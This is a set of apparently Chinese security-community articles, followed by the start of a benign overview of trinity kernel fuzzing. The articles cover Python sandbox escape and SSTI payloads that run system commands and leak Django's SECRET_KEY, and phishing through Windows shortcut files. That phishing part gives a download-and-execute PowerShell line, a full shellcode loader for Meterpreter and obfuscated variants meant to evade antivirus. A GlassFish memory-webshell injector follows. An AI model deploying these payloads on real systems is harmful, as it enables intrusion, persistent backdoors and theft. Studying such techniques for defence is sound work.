继承链这个这个词是我自己发明的。看到有的师傅博客中将它称为egg或者ssti，但是我喜欢叫它继承链因为感觉很生动。最早遇到这种姿势是在学习python
bypass沙盒的时候。当时不是很理解形如`().__class__.__bases__[0].__subclasses__()`的意思。学习一段时间后，我决定来总结一下构造继承链的方法，并且用此方法在django有格式化字符串漏洞的情况下读取配置文件（灵感来自p师傅博客）。之前排版有点问题重新发一下（幸苦肉肉姐了）。
# 基础知识
## __bases__
返回一个类直接所继承的类（元组形式）
class Base1:
def __init__(self):
pass
class Base2:
def __init__(self):
pass
class test(Base1, Base2):
pass
class test2(test):
pass
print test.__bases__
print test2.__bases__
"""
(<class __main__.Base1 at 0x0322ADF8>, <class __main__.Base2 at 0x0322AE30>)
(<class __main__.test at 0x0322AE68>,)
"""
在看别人文章时发现__mro__和__bases__用法相同，两者具体区别， 暂时留个坑。
一些情况下也可用`__base__`直接返回单个的类
## __class__
返回一个实例所属的类
class Base:
def __init__(self):
pass
obj = Base()
print obj.__class__
"""
__main__.Base
"""
## __globals__
使用方式是 `函数名.__globals__`，返回一个当前空间下能使用的模块，方法和变量的字典。
#coding:utf-8
import os
var = 2333
def fun():
pass
class test:
def __init__(self):
pass
print test.__init__.__globals__
"""
{'__builtins__': <module '__builtin__' (built-in)>, '__file__': 'backup.py', '__package__': None, 'fun': <function fun at 0x7f542e44b5f0>, 'test': <class __main__.test at 0x7f542e43b598>, 'var': 2333, '__name__': '__main__', 'os': <module 'os' from '/usr/lib/python2.7/os.pyc'>, '__doc__': None}
"""
## __subclasses__()
获取一个类的子类，返回的是一个列表
class Base1(object):
def __init__(self):
pass
class test(Base1):
pass
print Base1.__subclasses__()
"""
[<class '__main__.test'>]
"""
## __ _builtin\_ _ && __builtins__
python中可以直接运行一些函数，例如`int(),list()`等等。这些函数可以在`__builtins__`中可以查到。查看的方法是`dir(__builtins__)`。在控制台中直接输入`__builtins__`会看到如下情况
#python2
>>> __builtins__
<module '__builtin__' (built-in)>
_ps：在py3中`__builtin__`被换成了`builtin`_
`__builtin__` 和 `__builtins__`之间是什么关系呢？
1、在主模块`main`中，`__builtins__`是对内建模块`__builtin__`本身的引用，即`__builtins__`完全等价于`__builtin__`，二者完全是一个东西，不分彼此。
2、非主模块`main`中，`__builtins__`仅是对`__builtin__.__dict__`的引用，而非`__builtin__`本身
# 继承链bypass沙盒
## 用file对象读取文件
构造继承链的一种思路是：
1. 随便找一个内置类对象用`__class__`拿到他所对应的类
2. 用`__bases__`拿到基类（`<class 'object'>`）
3. 用`__subclasses__()`拿到子类列表
4. 在子类列表中直接寻找可以利用的类
一言敝之
().__class__.__base__.__subclasses__()
().__class__.__bases__[0].__subclasses__()
可以看到列表里面有一坨，这里只看file对象。
[...,<type 'file'>, ...]
查找`file`位置。
#coding:utf-8
search = 'file'
num = 0
for i in ().__class__.__bases__[0].__subclasses__():
if 'file' in str(i):
print num
num += 1
`<type 'file'>`在第40位。`().__class__.__bases__[0].__subclasses__()[40]`
用`dir`来看看内置的方法
dir(().__class__.__bases__[0].__subclasses__()[40])
['__class__', '__delattr__', '__doc__', '__enter__', '__exit__', '__format__', '__getattribute__', '__hash__', '__init__', '__iter__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'close', 'closed', 'encoding', 'errors', 'fileno', 'flush', 'isatty', 'mode', 'name', 'newlines', 'next', 'read', 'readinto', 'readline', 'readlines', 'seek', 'softspace', 'tell', 'truncate', 'write', 'writelines', 'xreadlines']
所以最终的payload是
().__class__.__bases__[0].__subclasses__()[40]('filename').readlines()
然后用同样的手法可以得到`__mro__`形式下的payload
().__class__.__mro__[1].__subclasses__()[40]('filename').readlines()
这种方法等价于
file('backup.py').readlines()
**但是python3已经移除了file。所以第一种方法只能在py2中用。**
## 用内置模块执行命令
第二种方法接着第一种的思路接着探索。第一种止步于把内置的对象列举出来，其实可以用`__globals__`更深入的去看每个类可以调用的东西（包括模块，类，变量等等），万一有`os`这种东西就赚了。
#coding:utf-8
search = 'os' #也可以是其他你想利用的模块
num = -1
for i in ().__class__.__bases__[0].__subclasses__():
num += 1
try:
if search in i.__init__.__globals__.keys():
print(i, num)
except:
pass
"""
(<class 'site._Printer'>, 72)
(<class 'site.Quitter'>, 77)
"""
().__class__.__mro__[1].__subclasses__()[77].__init__.__globals__['os'].system('whoami')
().__class__.__mro__[1].__subclasses__()[72].__init__.__globals__['os'].system('whoami')
**不过很可惜上述的方法也只能在py2中使用。**
## 第三种
那有没有通吃py2和py3的方法呢？答案是有的，就用上面`__builtins__`来搞事。
#coding:utf-8
search = '__builtins__'
num = -1
for i in ().__class__.__bases__[0].__subclasses__():
num += 1
try:
if search in i.__init__.__globals__.keys():
print(i, num)
except:
pass
"""
<class '_frozen_importlib._ModuleLock'> 64
#省略一堆
"""
于是乎
py3
().__class__.__bases__[0].__subclasses__()[64].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")
py2
().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")
# 继承链读django配置信息
p师傅的[利用格式化字符串漏洞泄露Django配置信息](https://www.leavesongs.com/PENETRATION/python-string-format-vulnerability.html#django)一文中给了两个payload都是无登陆情况下读到django配置信息，我们可以用上面所述方法找到更多的payload。
测试代码如下
from django.http import HttpResponse
def search(request):
template = 'Hello {user}, This is your search: ' + request.GET.get('keyword')
return HttpResponse(template.format(user=request.user))
因为是无登陆情况，所以requests.User里面的对象是`AnonymousUser`的实例
class AnonymousUser(object):
#省略
_groups = EmptyManager(Group)
_user_permissions = EmptyManager(Permission)
观察到`_groups`属性是一个`EmptyManager`对象。
跟踪`EmptyManager`来到manger.py
##省略
from django.db.models.query import QuerySet
##省略
class EmptyManager(Manager):
def __init__(self, model):
super(EmptyManager, self).__init__()
self.model = model
def get_queryset(self):
return super(EmptyManager, self).get_queryset().none()
跟踪`QuerySet`来到query.py
##省略
from django.conf import settings
##省略
class QuerySet(object):
"""
Represents a lazy database lookup for a set of objects.
"""
def __init__(self, model=None, query=None, using=None, hints=None):
`settings`里面就是django的配置了。
将上面的跟踪一步一步转换成payload就是
拿到`EmptyManager`对象：`user._groups.__class__`
拿到`QuerySet`对象：`user._groups.__class__.__base__.__init__.__globals__[QuerySet]`
拿到SECRET_KEY
`{user._groups.__class__.__base__.__init__.__globals__[QuerySet].__init__.__globals__[settings].SECRET_KEY}`
所以最后的payload是
http://127.0.0.1:8000/search?keyword={user._groups.__class__.__base__.__init__.__globals__[QuerySet].__init__.__globals__[settings].SECRET_KEY}
_ps:有登陆的情况下构造过程中继承链的感觉更强烈，有兴趣的师傅可以试一下~_
## 参考
<http://bendawang.site/2018/03/01/%E5%85%B3%E4%BA%8EPython-sec%E7%9A%84%E4%B8%80%E4%BA%9B%E6%80%BB%E7%BB%93/>
<https://www.anquanke.com/post/id/85571>
<http://www.cnblogs.com/iamstudy/articles/python_eval_and_bypass_sandbox_study.html>
<https://www.leavesongs.com/PENETRATION/python-string-format-vulnerability.html> | 社区文章 |
# 【技术分享】快捷方式：一种钓鱼攻击的新姿势
|
##### 译文声明
本文是翻译文章，文章来源：d.uijn.nl
原文地址：<https://d.uijn.nl/2016/12/28/shortcuts-another-neat-phishing-trick/>
译文仅供参考，具体内容表达以及含义原文为准。
**翻译：**[ **shan66**
****](http://bobao.360.cn/member/contribute?uid=2522399780)
**预估稿费：120RMB（不服你也来投稿啊！）**
******投稿方式：发送邮件至**[ **linwei#360.cn**](mailto:[email protected]) **，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿******
**前言**
最近，我阅读了一篇关于勒索软件Locky使用Windows快捷方式文件感染用户的博客文章。微软的这篇博文讲述了大规模网络钓鱼攻击是如何利用zip文件来发送Windows快捷方式文件的，具体详情请访问<https://blogs.technet.microsoft.com/mmpc/2016/10/19/the-new-lnk-between-spam-and-locky-infection/>。这种传播技术基于这样一个事实：cmd.exe和powershell.exe都允许通过传递参数来执行命令。创建包含命令参数的快捷方式后，只需双击就能执行某些PowerShell操作。
**一种钓鱼攻击的新姿势**
我们对各种钓鱼攻击以及与后门相关的东西进行大量分析后发现，它们通常需要借助于office的宏指令来利用PowerShell，或者借助某些格式的脚本，如.js/.wsf/.jse/.hta等等。但问题是，许多组织都已经通过组策略禁用了宏指令，并且不允许通过Web/电子邮件渠道来传输脚本文件。如果你还没有通过命令行来阻止Macro指令的执行的话，可以参考下面这篇文章，地址为<https://blogs.technet.microsoft.com/mmpc/2016/03/22/new-feature-in-office-2016-can-block-macros-and-help-prevent-infection/>。
勒索软件Locky的传播采用的是下载然后执行的方法，由于相关文件会下载到硬盘上面，所以很容易被杀毒软件检测到。攻击者如果想要发动钓鱼攻击的话，必须设法躲避杀毒软件的追杀，所以，他们想到了使用使用lnk文件作为stager，加载另一个PowerShell脚本，然后让它来加载Meterpreter。为此，可以使用如下所示的快捷方式：
%SystemRoot%system32WindowsPowerShellv1.0powershell.exe -windowstyle hidden -command "IEX (New-Object System.Net.WebClient).DownloadString('http://192.168.255.170/script');"
攻击者可以将第二阶段攻击代码托管在自己的网络服务器上，然后使用unicorn将Meterpreter的payload注入到内存。然后，可以结合使用一个弹出窗口，通知用户一切正常。因此，托管的“脚本”文件可以包含如下所示的内容：
powershell -ExecutionPolicy bypass -window hidden -e <BASE64 ENCODED COMMAND>
需要注意的是，PowerShell通常要求命令采用unicode格式，所以最简单的做法是直接为PowerShell准备好base64编码的命令。否则，可以使用utf_16_le对命令进行相应的编码。对于弹出窗口，可以使用以下代码：
#MessageBox
[System.Reflection.Assembly]::LoadWithPartialName("System.Windows.Forms") ;
[System.Windows.Forms.MessageBox]::Show("Your system has now been enrolled, thank you for you cooperation.", "YourCompany Enrollment.") ;
#Unicorn output
$XF3ZnA = '$a9wC = ''[DllImport("kernel32.dll")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport("msvcrt.dll")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);'';$w = Add-Type -memberDefinition $a9wC -Name "Win32" -namespace Win32Functions -passthru;
[Byte[]];[Byte[]]$z = 0xbf,0xbb,0x96,0xcd,0xd0,0xdb,0xc1,0xd9,0x74,0x24,0xf4,0x5d,0x2b,0xc9,0xb1,0x57,0x31,0x7d,0x15,0x83,0xc5,0x04,0x03,0x7d,0x11,0xe2,0x4e,0x6a,0x25,0x52,0xb0,0x93,0xb6,0x33,0x39,0x76,0x87,0x73,0x5d,0xf2,0xb8,0x43,0x16,0x56,0x35,0x2f,0x7a,0x43,0xce,0x5d,0x52,0x64,0x67,0xeb,0x84,0x4b,0x78,0x40,0xf4,0xca,0xfa,0x9b,0x28,0x2d,0xc2,0x53,0x3d,0x2c,0x03,0x89,0xcf,0x7c,0xdc,0xc5,0x7d,0x91,0x69,0x93,0xbd,0x1a,0x21,0x35,0xc5,0xff,0xf2,0x34,0xe4,0x51,0x88,0x6e,0x26,0x53,0x5d,0x1b,0x6f,0x4b,0x82,0x26,0x26,0xe0,0x70,0xdc,0xb9,0x20,0x49,0x1d,0x15,0x0d,0x65,0xec,0x64,0x49,0x42,0x0f,0x13,0xa3,0xb0,0xb2,0x23,0x70,0xca,0x68,0xa6,0x63,0x6c,0xfa,0x10,0x48,0x8c,0x2f,0xc6,0x1b,0x82,0x84,0x8d,0x44,0x87,0x1b,0x42,0xff,0xb3,0x90,0x65,0xd0,0x35,0xe2,0x41,0xf4,0x1e,0xb0,0xe8,0xad,0xfa,0x17,0x15,0xad,0xa4,0xc8,0xb3,0xa5,0x49,0x1c,0xce,0xe7,0x05,0x8c,0xb5,0x63,0xd6,0x38,0x42,0xe5,0xb8,0xd1,0xf8,0x9d,0x08,0x55,0x26,0x59,0x6e,0x4c,0x17,0xbe,0xc3,0x3c,0x04,0x13,0xb7,0xaa,0x90,0xc5,0x4e,0x8c,0x1b,0x3c,0xe3,0x81,0x89,0xbc,0x57,0x75,0x25,0x78,0x56,0x79,0xb5,0x96,0xd5,0x79,0xb5,0x66,0xc9,0x40,0xe7,0x57,0x23,0xd9,0x07,0xc8,0x23,0x4a,0x8e,0x77,0x75,0x8b,0x45,0x0e,0xbc,0x27,0x0d,0x11,0x73,0x28,0x49,0x42,0x20,0xfb,0x06,0x36,0x90,0x93,0x43,0xed,0x32,0x5f,0x6c,0xdb,0xdd,0xf5,0x98,0xbb,0x89,0x89,0xaf,0x43,0x4a,0x03,0x2f,0x29,0x4e,0x43,0xc5,0xb1,0x18,0x0b,0x6c,0x88,0x3a,0x4d,0x71,0xc1,0x10,0x01,0xde,0xb9,0xc0,0xcd,0xcd,0x3b,0xf5,0x76,0xf2,0x91,0x80,0x49,0x79,0x10,0xc4,0x3c,0x58,0x4c,0x2a,0x0b,0xf8,0xdb,0x35,0xa1,0x96,0xa3,0xa1,0x4a,0x76,0x24,0x32,0x23,0x76,0x24,0x72,0xb3,0x25,0x4c,0x2a,0x17,0x9a,0x69,0x35,0x82,0x8f,0x21,0x99,0xa4,0x48,0x92,0x75,0xb7,0xb6,0x1d,0x86,0xe4,0xe0,0x75,0x94,0x9c,0x85,0x64,0x67,0x75,0x10,0xa8,0xec,0xbb,0x91,0x2e,0x0c,0x87,0x20,0xf0,0x7b,0xe2,0x72,0x32,0xdc,0x04,0xf7,0x4b,0x1c,0x2b,0xc6,0x8a,0xd1,0xfa,0x19,0xdb,0x2d,0x2d,0x6b,0x16,0x7b,0x1f,0xba,0x6f,0xb3,0x5f;
$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$fRu=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($fRu.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$fRu,0,0,0);for (;;){Start-sleep 60};';
$e = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($XF3ZnA));$XF3Z = "-e ";if([IntPtr]::Size -eq 8){$ZsQ = $env:SystemRoot + "syswow64WindowsPowerShellv1.0powershell";iex "& $ZsQ $XF3Z $e"}else{;iex "& powershell $XF3Z $e";} ;
上面的PowerShell代码会弹出一个含有Unicorn.py的输出的窗口，这就允许攻击者将二进制文件加载到内存中。
与基于脚本的攻击相比，快捷方式可以使用任意图标，这是一大优势。这样的话，我们可以给它指定一个吸引普通用户的图标，或者适合网络钓鱼场景的图标。
例如
或
所以，让我们总结一下：
用户点击快捷方式
PowerShell被执行
我们的脚本被下载并执行
我们收到meterpreter shell
用户点击并看到：
一旦弹出窗口关闭，第二部分代码就会被执行，攻击者就能收到shell。
由于当前版本的Outlook默认情况下会阻止lnk文件，所以可以考虑使用包含lnk文件的zip文件。实际上，攻击者可以通过文件下载方式来传播文件。为此，可以使用HTTPs
Letsencrypt，一方面它是免费的，另一方面还能降低被检测到的可能性。
另一个有趣的方法是将文件作为OLE对象嵌入到office文档中。这种方法可以替代宏指令，同时还能尽量不引起用户的警觉。相对于双击作为嵌入对象的.exe文件来说，人们对于lnk文件的戒备心理明显要松懈得多。OLE对象的一大优点是，同样可以使用自定义图标：
单击office文档中的图标，就会执行我们的PowerShell脚本。在上面的截图中，使用的是一个简单的Excel图标，当然，也使用按钮图标——它适用于文件解密或某种形式的“激活”场景。
当前，有些反病毒软件公司已经开始对一些基于Invoke-Expression的脚本进行检测了。Invoke-Obfuscation可以帮助绕过AV检测，攻击者可以利用Invoke-Obfuscation对他们的脚本进行迭代处理，例如可以把下列代码：
IEX (New-Object System.Net.WebClient).DownloadString('http://192.168.255.170/script');
转换为：
Invoke-Expression( ([Regex]::Matches(" ))93]rahC[ f-)';)}'+'0{tpi'+'rc'+'s/07'+'1.'+'552'+'.861.291//:ptth}0'+'{(g'+'nirt'+'Sda'+'oln'+'woD.'+')'+'tn'+'ei'+'lC'+'beW.teN.m'+'etsyS tcejbO'+'-weN('+' XE'+'I'((( XEI ",'.', 'RightToLeft')-Join'' ) )
继续转换为 :
IEX( -JoIn ('49@6eM76M6fM6b{65U2d{45@78{70@72Z65Z73Z73Z69{6f<6e@28{20@20M28@5b{52U65@67&65&78U5d@3a<3aU4d<61M74@63<68I65M73U28@22{20&29{29M39<33<5dM72I61U68M43Z5bU20<20@66Z2d&29I27U3b{29M7dZ27U2b<27Z30M7bM74M70<69&27I2bI27{72I63Z27M2b@27@73M2fZ30&37I27M2b@27<31{2eZ27U2bM27@35I3532Z27Z2bZ27Z2e@38I36@31@2eI32U39{31I2f<2f<3a&70I74&74I68I7d<30{27{2bZ27@7b<28U67Z27&2b@27@6e<69&72Z74I27I2bM27@53Z64&61M27I2bZ27{6f<6c{6e@27&2bU27<77M6f&44<2eZ27<2b{27{29I27<2bI27Z74{6e<27@2b<27M65I69M27@2bI27&6cI43M27M2b@27U62<65&57{2eI74<65{4e{2e<6d@27I2b<27I65{74I73&79I53I20<74Z63Z65@6a{62U4f<27{2bZ27{2d&77U65&4eI28I27&2b<27{20Z58I45&27Z2b<27&49@27U28{28{28<20{58&45U49Z20I22&2c<27@2eM27M2c{20@27&52<69<67U68<74Z54Z6f@4c&65M66I74I27@29&2dM4a@6f@69M6e{27{27@20M29{20@29'-sPLit '<' -SPLIt'I'-SpLIT'Z'-splIT'&'-SPLit'{' -sPLit'M'-SPliT'U'-SPlIt'@'|FoREaCH-oBjECt{( [COnveRT]::ToInT16( ( [StrinG]$_),16 )-As[char]) } ))
在混淆PowerShell代码方面，Invoke-Obfuscation是一个非常强大的工具，能够节约大量的时间！ | 社区文章 |
# GlassFish-Filter内存马分析
## 目录
* 前言
* 分析Filter
* Filter内存马
* 获取上下文
* 具体实现
* 后话
## 前言
Glassfish5.0.0
分析 glassfish Filter内存马
环境搭建
HelloFilter
## 分析Filter
首先在Servlet中打下断点，观察调用栈，
观察调用栈，在StandardWrapper中第一次调用了`doFilter`，再次说明，个人认为，分析一个filter运行的过程。首先要关注的是filterchain是如何生成的。因为只有filterchain生成之后，才能说去调用`doFilter`，让filter起作用。而第一次调用`doFilter`的时候往往就能找到关于`filterchain`的线索。
`org.apache.catalina.core.StandardWrapperValve:invoke()`，调用了`filterChain.doFilter(hreq,
hres);`
关注`filterChain`是如何生成的。
`org.apache.catalina.core.StandardWrapperValve:invoke()`中第120行代码。调用了`createFilterChain`，跟进该方法。
ApplicationFilterChain filterChain = factory.createFilterChain((ServletRequest)request, wrapper, servlet);
public ApplicationFilterChain createFilterChain(ServletRequest request, Wrapper wrapper, Servlet servlet) {
if (servlet == null) {
return null;
} else {
ApplicationFilterChain filterChain = null;
StandardContext context = (StandardContext)wrapper.getParent();
List<FilterMap> filterMaps = context.findFilterMaps();
if (filterMaps.isEmpty()) {
return filterChain;
} else {
DispatcherType dispatcher = request.getDispatcherType();
String requestPath = null;
Object attribute = request.getAttribute("org.apache.catalina.core.DISPATCHER_REQUEST_PATH");
if (attribute != null) {
requestPath = attribute.toString();
}
String servletName = wrapper.getName();
int n = 0;
Iterator i = filterMaps.iterator();
FilterMap filterMap;
ApplicationFilterConfig filterConfig;
while(i.hasNext()) {
filterMap = (FilterMap)i.next();
if (filterMap.getDispatcherTypes().contains(dispatcher) && this.matchFiltersURL(filterMap, requestPath, context.isCaseSensitiveMapping())) {
filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName());
if (filterConfig != null) {
if (filterChain == null) {
filterChain = this.internalCreateFilterChain(request, wrapper, servlet);
}
filterChain.addFilter(filterConfig);
++n;
}
}
}
i = filterMaps.iterator();
while(i.hasNext()) {
filterMap = (FilterMap)i.next();
if (filterMap.getDispatcherTypes().contains(dispatcher) && this.matchFiltersServlet(filterMap, servletName)) {
filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName());
if (filterConfig != null) {
if (filterChain == null) {
filterChain = this.internalCreateFilterChain(request, wrapper, servlet);
}
filterChain.addFilter(filterConfig);
++n;
}
}
}
return filterChain;
}
}
}
该方法中初始化一个`filterChain（ApplicationFilterChain类型）`。然后从上下文`context（WebModule类型）`中通过`findFilterMaps()`中获取到`filterMaps`，debug跟进到该方法中。
继续往下看，关键代码如下。大致的逻辑为遍历filterMaps。判断filtermap中的dispatcherTypes是否为request，判断请求路径是否符合filtermap中的urlPattern。然后调用`findFilterConfig`方法，通过`filterMap.getFilterName()`在`context（WebModule类型`中寻找`filterConfig`。接着调用filterChain的addFilter()将filterConfig添加到filterChain中，然后返回filterChain。
由此可以看出，生成一个filterChain。主要关注两个地方。一个是`filterMaps`，一个是`filterConfigs`。从context中获取到这两个变量，所以是否可以理解假如能获取到`context`，那么就能对`filterMaps`和`filterConfigs`进行一个添加恶意filter的一个操作。那么接下来就要关注如何生成`filterMaps`和`filterConfigs`。
因为`filterMaps`和`filterConfigs`是从`context`中获取的，那么关注context是如何生成的。
观察整个调用栈，下图是内存中`context`中的变量，分别是`filterConfigs,filterDefs,filterMaps`。
继续往前看调用栈，还是内存中的`context`
继续往前看调用栈，这时候调用栈中的`webModule`实际上就是后期的context，在后面进行了一个形如`context=webModule`的操作，在调用栈中寻找第一次出现`webModule`的地方
在`com.sun.enterprise.web.WebPipeline:WebPipeline`中生成的webModule。在此打下打下断点，IDEA中`Step
0ver`跟代码。
跟到`com.sun.enterprise.web.WebModule:start()`，在该方法中的super.start()调用父类的`start`也就是`org.apache.catalina.core.StandardContext:start()`，
在`org.apache.catalina.core.StandardContext:start()`中有`filterStart()`，跟进该函数
`org.apache.catalina.core.StandardContext:filterStart()`中先调用`clear()`，清空filterConfigs，接着遍历当前对象中的`filterDefs`。然后往`filterConfigs`中添加形如`<filtername，ApplicationFilterConfig(当前上下文，filterDef)>`的映射关系。从构造内存马的角度来看，那么就是得实例化一个filterDef，添加到当前上下文的filterDefs中。接着需要获取到当前上下文的`filterConfigs`，通过`put()`往filterConfigs中添加恶意filter的`filtername`和`filterDef`
在`org.apache.catalina.core.StandardContext`中有`addFilterDef()`方法，可以将实例化的`filterDef`加入`filterDefs`中。
关于`filterMaps`是如何生成的。观察`com.sun.enterprise.web.WebModule`中的`addFilterMap()`。从构造内存马的角度来看，同样我们可以通过实例化一个`filterMap`对象。利用`addFilterMap`添加恶意filter的相关信息。
## Filter内存马
### 获取上下文
<https://github.com/c0ny1/java-object-searcher>
// 设置搜索类型包含Request关键字的对象
java.util.List<me.gv7.tools.josearcher.entity.Keyword> keys = new ArrayList<Keyword>();
keys.add(new me.gv7.tools.josearcher.entity.Keyword.Builder().setField_type("com.sun.enterprise.web.WebModule").build());
// 定义黑名单
java.util.List<me.gv7.tools.josearcher.entity.Blacklist> blacklists = new ArrayList<Blacklist>();
blacklists.add(new me.gv7.tools.josearcher.entity.Blacklist.Builder().setField_type("java.io.File").build());
// 新建一个广度优先搜索Thread.currentThread()的搜索器
me.gv7.tools.josearcher.searcher.SearchRequstByBFS searcher = new me.gv7.tools.josearcher.searcher.SearchRequstByBFS(Thread.getThreads(),keys);
// 设置黑名单
searcher.setBlacklists(blacklists);
// 打开调试模式,会生成log日志
searcher.setIs_debug(true);
// 挖掘深度为20
searcher.setMax_search_depth(20);
// 设置报告保存位置
searcher.setReport_save_path("/Users/xxx/Documents/CodeFile/java/MiddleWare/logs/Glassfish");
searcher.searchObject();
TargetObject = {[Ljava.lang.Thread;}
---> [2] = {java.lang.Thread} = {java.lang.Thread}
---> target = {org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor}
---> this$0 = {com.sun.enterprise.web.WebModule}
---> pipeline = {com.sun.enterprise.web.WebPipeline}
---> basic = {org.apache.catalina.core.StandardContextValve}
获取到`WebModule`
Object obj = Thread.currentThread();
Field field = obj.getClass().getSuperclass().getDeclaredField("group");
field.setAccessible(true);
obj = field.get(obj);
field = obj.getClass().getDeclaredField("threads");
field.setAccessible(true);
java.lang.Thread[] threads = (java.lang.Thread[])field.get(obj);
for(Thread t : threads){
if(t.getName().contains("ContainerBackgroundProcessor") && t.getName().contains("StandardHost")){
Field target_f = t.getClass().getDeclaredField("target");
target_f.setAccessible(true);
Object target = target_f.get(t);
return target;
Field this$0_f = target.getClass().getDeclaredField("this$0");
this$0_f.setAccessible(true);
WebModule webModule = (WebModule) this$0_f.get(this$0_f);
return webModule;
}
}
这里是获取当前线程中的`webModule`对象，而不是获取`StandardContext`的原因是因为在整个filter运行过程中都是当前线程的`webMoudule`对象在起作用，之所以会调用到`StandardContext`的方法，那是因为`webMoudule继承了StandardContext`。所以这里获取`webModule`对象。
另外，在测试过程中，还遇到另一个问题。GlassFish在启动之后的线程组中能获取到webModule的线程有两处。一处是web服务的ROOT服务，一处是自己起的项目。在获取webModule时要明确自己获取的是哪一个项目的webModule。否则将遇到注入内存马成功，但是路径不对，无法连接的问题
### 具体实现
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import sun.misc.BASE64Decoder;
import javax.servlet.DispatcherType;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashSet;
import java.util.Map;
public class GlassFishFilterLoader extends AbstractTranslet {
private static WebModule webModule = null;
private static String filterName = "HFilter";
private static String filterClassName = "com.cause.server.HFilter";
private static String url = "/*";
private static synchronized void LoadFilter() throws Exception {
try{
Thread.currentThread().getContextClassLoader().loadClass(filterClassName).newInstance();
}catch (Exception e){
Method a = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
a.setAccessible(true);
byte[] b = (new BASE64Decoder()).decodeBuffer("恶意filter.class|base64");
a.invoke(Thread.currentThread().getContextClassLoader(), b, 0, b.length);
}
}
private static synchronized void GetWebContent() throws Exception{
Thread thread = Thread.currentThread();
Object group = GetField(thread,"group");
java.lang.Thread[] threads = (java.lang.Thread[])GetField(group,"threads");
for(Thread t : threads){
if(t.getName().contains("ContainerBackgroundProcessor") && t.getName().contains("StandardHost") ){
Object target = GetField(t,"target");
webModule = (WebModule) GetField(target,"this$0");
break;
}
}
}
private static synchronized Object GetField(Object o, String k) throws Exception{
Field f;
try {
f = o.getClass().getDeclaredField(k);
} catch (NoSuchFieldException e) {
try{
f = o.getClass().getSuperclass().getDeclaredField(k);
}catch (Exception e1){
f = o.getClass().getSuperclass().getSuperclass().getDeclaredField(k);
}
}
f.setAccessible(true);
return f.get(o);
}
private static synchronized void InjectFilter() throws Exception {
try {
Class HFilter = Thread.currentThread().getContextClassLoader().loadClass(filterClassName);
FilterDef filterDef = new FilterDef();
filterDef.setFilterName(filterName);
filterDef.setFilterClass(HFilter);
Constructor<?>[] constructor = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors();
constructor[0].setAccessible(true);
Object applicationFilterConfig = constructor[0].newInstance(webModule, filterDef);
Map filterConfigs = (Map) GetField(webModule,"filterConfigs");
filterConfigs.put(filterName,applicationFilterConfig);
FilterMap filterMap = new FilterMap();
filterMap.setURLPattern(url);
filterMap.setFilterName(filterName);
HashSet<DispatcherType> set = new HashSet();
set.add(DispatcherType.REQUEST);
filterMap.setDispatcherTypes(set);
webModule.addFilterDef(filterDef);
webModule.addFilterMap(filterMap);
System.out.println("12313");
}catch (Exception e){
e.printStackTrace();
}
}
public GlassFishFilterLoader(){
try {
LoadFilter();
GetWebContent();
InjectFilter();
}catch (Exception e){
e.printStackTrace();
}
}
static {
new GlassFishFilterLoader();
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
## 后话
如有不对之处，望斧正~~ | 社区文章 |
这是内核漏洞挖掘技术系列的第一篇。
## 前言
提到linux内核fuzz目前最流行的工具是syzkaller，不过在syzkaller出现之前(github上首次commit是2015年10月)linux内核fuzz用到最多的工具是trinity(github上首次commit是2006年3月，1.0版本发布于2012年8月)，并且就在2019年1月刚刚发布了1.9版本(<https://github.com/kernelslacker/trinity>)。trinity网上也有各种二次开发的版本，有各种修改后在android下面跑的(<https://bbs.pediy.com/thread-218969.htm>)，有用来fuzz
perf_event_open系统调用的perf_fuzzer(<https://github.com/deater/perf_event_tests>)等等。比起来trinity算得上是元老级的fuzz工具了。本文会详细分析trinity目前最新的1.9版本的实现。
## 整体架构
下面是《LCA: The Trinity fuzz tester》这篇文章中给的一张图。
trinity-main执行各种初始化，然后创建执行系统调用的子进程。trinity-main创建的共享内存区域用于记录各种全局信息(打开文件描述符号、执行的系统调用总数以及成功和失败的系统调用数等等)和每个子进程的各种信息(pid和执行的系统调用信息等等)。
trinity-watchdog确保系统正常工作。它会检查子进程是否正在运行(可能会在系统调用中被暂停)，如果没有运行，则会将其杀死。当主进程检测到其中一个子进程已终止时(因为trinity-watchdog将其终止或出于其它原因)会启动一个新的子进程来替换它。trinity-watchdog还监视共享内存区域的完整性。
(PS:《LCA: The Trinity fuzz tester》这篇文章是几年以前的了，根据后文的源码分析目前trinity-watchdog的功能已经被整合到trinity-main中)
在trinity文件夹下除了子目录，还有下面这些源代码文件。
* blockdevs.c：块设备相关(目前没有用到)
* child.c：执行fuzz的子进程
* debug.c：调试功能
* devices.c：解析/proc/devices和/proc/misc以对ioctl进行fuzz
* ftrace.c：ftrace功能，记录到/boot/trace.txt文件
* generate-args.c：系统调用参数的生成释放等处理
* kcov.c：代码覆盖率功能(目前没有用到)
